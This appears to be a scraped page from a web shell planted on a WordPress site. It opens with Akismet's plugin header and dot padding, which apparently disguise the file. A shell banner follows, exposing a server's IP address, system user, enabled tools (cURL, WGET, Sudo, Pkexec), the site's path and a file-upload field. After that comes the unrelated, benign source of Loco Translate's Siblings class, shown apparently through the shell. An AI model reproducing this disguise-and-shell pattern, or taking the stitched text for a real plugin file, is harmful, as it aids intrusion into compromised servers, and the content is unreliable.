#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/mosrembit/data/www/mosrembit.ru/wp-content/plugins/loco-translate/src/fs/ |
Upload File : |
<?php
/**
* Manages a POT or PO/MO pair and its on-disk dependants
*/
class Loco_fs_Siblings {
/**
* @var Loco_fs_File
*/
private $po;
/**
* @var Loco_fs_File|null
*/
private $mo;
/**
* @var Loco_fs_File|null
*/
private $php;
/**
* @var string
*/
private $td = '';
/**
* @param Loco_fs_File $file Master file, either PO/MO or POT
*/
public function __construct( Loco_fs_File $file ){
$ext = $file->extension();
if( 'pot' === $ext ){
$this->po = $file;
}
else if( 'po' === $ext ){
$this->po = $file;
$this->mo = $file->cloneExtension('mo');
}
else if( 'mo' === $ext ){
$this->mo = $file;
$this->po = $file->cloneExtension('po');
}
else {
throw new InvalidArgumentException('Unexpected file extension: '.$ext);
}
if( $this->mo && class_exists('WP_Translation_Controller') ){
$this->php = $this->mo->cloneExtension('l10n.php');
}
}
/**
* Set text domain explicitly, required if unknown from PO/POT file name
* @return void
*/
public function setDomain( $domain ){
$this->td = $domain ?: 'default';
}
/**
* Get all dependant files (including primary po) that actually exist on disk
* @return Loco_fs_File[]
*/
public function expand(){
$siblings = [];
// Source and binary pair
foreach( [ $this->po, $this->mo, $this->php ] as $file ){
if( $file && $file->exists() ){
$siblings[] = $file;
}
}
// PO revisions / backup files:
$revs = new Loco_fs_Revisions( $this->po );
foreach( $revs->getPaths() as $path ){
$siblings[] = new Loco_fs_File( $path );
}
// JSON exports, unless in POT mode:
if( $this->mo ){
$siblings = array_merge($siblings,$this->getJsons($this->td));
}
/*/ Note that the beta "performant-translations" plugin originally used .mo.php instead of .l10n.php
if( $this->mo && class_exists('Performant_Translations') ){
$file = $this->mo->cloneExtension('mo.php');
if( $file->exists() ){
$siblings[] = $file;
}
}*/
return $siblings;
}
/**
* @return Loco_fs_File
*/
public function getSource(){
return $this->po;
}
/**
* @return Loco_fs_File|null
*/
public function getBinary(){
return $this->mo;
}
/**
* @return Loco_fs_File|null
*/
public function getCache(){
return $this->php;
}
/**
* @param string $prefix Prefix required in case not present in PO file name
* @return Loco_fs_File[]
*/
public function getJsons( $prefix ){
$list = new Loco_fs_FileList;
$name = $this->po->filename();
$finder = new Loco_fs_FileFinder( $this->po->dirname() );
// Handle problem that PO file has no text domain prefix
if( $prefix && 'default' !== $prefix && preg_match('/^[a-z]{2,3}(?:_[a-z\\d_]+)?$/i',$name) ){
$name = $prefix.'-'.$name;
}
// match .json files with same name as .po, suffixed with md5 hash.
// note that JSON files are localised, so won't be found if PO has no locale suffix.
$regex = '/^'.preg_quote($name,'/').'-[0-9a-f]{32}$/';
/* @var Loco_fs_File $file */
foreach( $finder->group('json')->exportGroups() as $files ) {
foreach( $files as $file ){
$match = $file->filename();
if( $match === $name || preg_match($regex,$match) ) {
$list->add($file);
}
}
}
// append single json using our filter
$path = apply_filters('loco_compile_single_json', '', $this->po->getPath() );
if( is_string($path) && '' !== $path && file_exists($path) ){
$list->add( new Loco_fs_File($path) );
}
return $list->getArrayCopy();
}
}